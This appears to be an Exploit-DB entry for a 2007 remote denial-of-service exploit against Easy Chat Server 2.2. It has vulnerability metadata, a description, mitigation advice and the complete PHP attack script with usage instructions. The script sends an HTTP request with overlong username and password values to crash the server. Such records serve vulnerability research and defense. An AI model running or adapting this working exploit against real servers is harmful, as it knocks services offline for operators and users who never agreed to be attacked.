Easy Chat Server Remote DoS Exploit

vendor:

Easy Chat Server

by:

NetJackal

5.5

CVSS

MEDIUM

Remote Denial of Service (DoS)

400

CWE

Product Name: Easy Chat Server

Affected Version From: 2.2

Affected Version To: 2.2

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows XP SP2

2007

Easy Chat Server Remote DoS Exploit

Easy Chat Server has a built-in web server that allows users to log in. The login page has a maximum character limit of 30 for the Name and Password fields. If an attacker inserts a long Name and Password by editing or creating their own login page, the chat server will crash.

Mitigation:

Upgrade to a version that has fixed this vulnerability. Limit the character length allowed for Name and Password fields.

Source

Exploit-DB raw data:

<?php

##########################################################
###----------------------------------------------------###
###--------Easy Chat Server Remote DoS Exploit---------###
###----------------------------------------------------###
###-http://www.echatserver.com/------------------------###
###----------------------------------------------------###
###-Tested on version 2.2 [last version]-(XP SP2)------###
###----------------------------------------------------###
###-Usage:-php dos.php [TARGET] [PORT]-----------------###
###----------------------------------------------------###
###-Author:--NetJackal---------------------------------###
###-Email:---nima_501[at]yahoo[dot]com-----------------###
###-Website:-http://netjackal.by.ru--------------------###
###----------------------------------------------------###
##########################################################

/*
Description:
 Easy Chat Server has built-in web server let users
login to chat server. Login page allow Max 30 characters
length for Name & Password. If attacker inserts a long Name &
Password by editing or make his own login page, chat server
will crash.
*/
echo "Easy Chat Server Remote DoS Exploit\n\t\t\t\tby NetJackal";
if($argc<2)die("\nUsage:   php dos.php [TARGET] [PORT]\nExample: php dos.php localhost 80\n");
$host=$argv[1];
$port=$argv[2];
$A=str_repeat('A',999);
echo "\nConnecting...";
$link=fsockopen($host,$port,$en,$es,30);
if(!$link)die("\n$en: $es");
echo "\nConnected!";
echo "\nSending exploit...";
fputs($link,"GET /chat.ghp?username=$A&password=$A&room=1&sex=2 HTTP/1.1\r\nHost: $host\r\n\r\n");
echo "\nWell done!\n";
?>

# milw0rm.com [2007-08-14]